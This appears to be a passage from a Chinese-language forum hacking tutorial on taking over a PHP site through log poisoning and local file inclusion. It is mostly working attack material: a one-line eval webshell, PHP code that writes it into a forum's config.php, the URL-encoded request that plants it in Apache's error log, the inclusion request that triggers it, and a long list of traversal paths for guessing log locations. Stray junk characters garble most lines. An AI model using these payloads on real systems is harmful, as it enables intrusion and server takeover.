因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 * Z. G4 m; y" U- [$ S( g" b2 x
% _8 r/ g9 s6 T+ x
比如还是这句一句话木马 5 i" |3 e* p! v& N* ?
<?eval($_POST[cmd]);?> : c) N7 F1 x& D+ x/ _3 M5 d5 v
: Z) e6 n D6 p& B8 A+ _& L0 S
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
1 N) E# y" q1 A4 afopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & |" p6 C; A$ e
+ m: f+ D- |8 \0 s; y [* r<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); / \# `# u- k, b# z$ T( E. `
fclose($fp);?> //在config.php里写入一句木马语句
' G: B" {1 S# P# G! f' @; d
& `1 j+ T0 |) g; ?# N" N我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 5 s9 ]% ^0 g8 E0 }' ?
转换为
2 r1 R7 D/ E1 r0 E+ n%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
. I- X$ }+ R/ p; y+ }5 kconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
# a: J% T- y, z4 B* F0 |%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 Z2 J/ D3 d2 R3 X# W* ofclose%28%24fp%29%3B%3F%3E
) p! i( @ a; V% q, a我们提交
4 c. x2 {. T% K4 C- K/ C- Ghttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
' k6 A. `/ A, m) q%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( R4 [% E7 B! u. a. y6 _" z9 j%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 0 F, q2 Q8 B W2 R2 H
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
/ A! R& m9 [+ l5 u: J4 K1 r5 c; j- G
这样就错误日志里就记录下了这行写入webshell的代码。 3 p0 c, {; [( `' B3 T
我们再来包含日志,提交 4 D- M2 \" u7 o3 N" G: B! P% f
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 0 B) S9 n1 T1 N7 F$ n; E# R
9 J2 F8 o, l& J J* J这样webshell就写入成功了,config.php里就写入一句木马语句 ]$ y: T. {3 H" M+ i1 Z+ G
OK.
) h( {* a' q- y" j4 p ohttp://www.xxx.com/forum/config.php这个就成了我们的webshell
2 Z1 ~' d' e. |. h. W' y直接用lanker的客户端一连,主机就是你的了。
# G2 Q$ G1 k; _1 N2 I, K1 M+ l
1 [( q+ y: g7 ?7 qPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
2 [# {; a9 l* E$ `
$ O$ D* U' i' q( s, O: N" ]其他的日志路径,你可以去猜,也可以参照这里。
% g$ E! k* R7 y5 H6 |../../../../../../../../../../var/log/httpd/access_log / a$ z. Q4 K- L. P* f& F
../../../../../../../../../../var/log/httpd/error_log 2 t) w- E: B8 R- s; M: g4 Q- y2 I
../apache/logs/error.log
/ }- `. d6 e, k- t. }1 D! H../apache/logs/access.log ) [" ~' x% H# ~) A7 b# _# @
../../apache/logs/error.log 6 I* y" E2 Y) P' s: w4 y
../../apache/logs/access.log . i- y7 Y) T* w, n, G/ m
../../../apache/logs/error.log
8 `4 {" S! i0 z../../../apache/logs/access.log
( C9 z6 R( w, ^1 E# }5 t../../../../../../../../../../etc/httpd/logs/acces_log 2 V5 B% ^; E7 A
../../../../../../../../../../etc/httpd/logs/acces.log . r! h7 V% O n) m% U
../../../../../../../../../../etc/httpd/logs/error_log ! L, }% Y0 i# G$ B+ J- ^
../../../../../../../../../../etc/httpd/logs/error.log
1 o& g8 |( H7 j9 d../../../../../../../../../../var/www/logs/access_log
& `. H' i5 u# ?% G* V4 c& `8 s../../../../../../../../../../var/www/logs/access.log
# O6 ]5 R! ]6 W" C& i& d../../../../../../../../../../usr/local/apache/logs/access_log
( h X) z, ^+ r2 c../../../../../../../../../../usr/local/apache/logs/access.log
$ J. P! @" C( W" u# P# }; h% [../../../../../../../../../../var/log/apache/access_log ) H* t9 m2 l; y; Z9 o! ~( `; i7 O
../../../../../../../../../../var/log/apache/access.log
$ K a4 _+ Y0 v; Q: t2 D../../../../../../../../../../var/log/access_log % }/ u- |" s+ K2 B6 n' C, e
../../../../../../../../../../var/www/logs/error_log
) d( n; ?. S3 a0 B../../../../../../../../../../var/www/logs/error.log ; ?; ?% V" S$ D& x
../../../../../../../../../../usr/local/apache/logs/error_log % k0 `( a1 h h, W
../../../../../../../../../../usr/local/apache/logs/error.log % s# ?6 s: ?* M6 w2 K: o/ S e0 H# X
../../../../../../../../../../var/log/apache/error_log 8 t7 y! n6 ^2 V6 G- F! Z$ z0 b
../../../../../../../../../../var/log/apache/error.log
! W6 a- }! v2 h* d0 a$ n3 D../../../../../../../../../../var/log/access_log
5 S' i" w, q! N../../../../../../../../../../var/log/error_log
4 C# J }3 z/ _ s u7 M+ v2 f/var/log/httpd/access_log 2 Y% J" c0 ?+ z3 m5 h b
/var/log/httpd/error_log ) H( j' D( t9 y4 s* p( F+ L$ R
../apache/logs/error.log
+ z. H% C8 J% L$ d/ c$ f1 T7 S../apache/logs/access.log
7 G6 E" m+ r; J' k4 v../../apache/logs/error.log
" [ @4 A; W5 R+ s) Y../../apache/logs/access.log : S! |. E% Z1 X
../../../apache/logs/error.log 3 i* Q! G: h9 f% P8 }) ~ [7 t
../../../apache/logs/access.log ; c: [/ M% ~$ h( ?9 P6 T4 E
/etc/httpd/logs/acces_log - J/ T* |+ W- R: r
/etc/httpd/logs/acces.log
0 Z- t- g) F* ^' y/etc/httpd/logs/error_log
/ ?6 i9 {" H# w" G/etc/httpd/logs/error.log
" w* ], `* I% a' }/var/www/logs/access_log
* r- R+ Q& {6 Y1 G1 O- m/var/www/logs/access.log
' U5 H( Z) B2 V9 p" F/usr/local/apache/logs/access_log
" r7 v& Z* ~" U9 Q2 F7 E/usr/local/apache/logs/access.log
/ z0 S% n; B$ S; I# h/var/log/apache/access_log . e5 ^3 h' f6 ]* d: P# s
/var/log/apache/access.log ( u9 [6 y, q' L$ n7 |1 Z
/var/log/access_log * T. w. r1 [, Y6 T. `1 b7 I
/var/www/logs/error_log $ P3 ]+ o2 B) V) _ l
/var/www/logs/error.log : T$ Z# {4 E. G
/usr/local/apache/logs/error_log
k0 a' M/ Z# E$ V) w$ r! ?8 P* S/usr/local/apache/logs/error.log ) z7 v, l: S5 C' W6 K
/var/log/apache/error_log $ P4 ~! m8 x/ P& A
/var/log/apache/error.log ' _! a3 `! c4 d$ @2 l
/var/log/access_log
- z7 W( z# v. ]% p/var/log/error_log |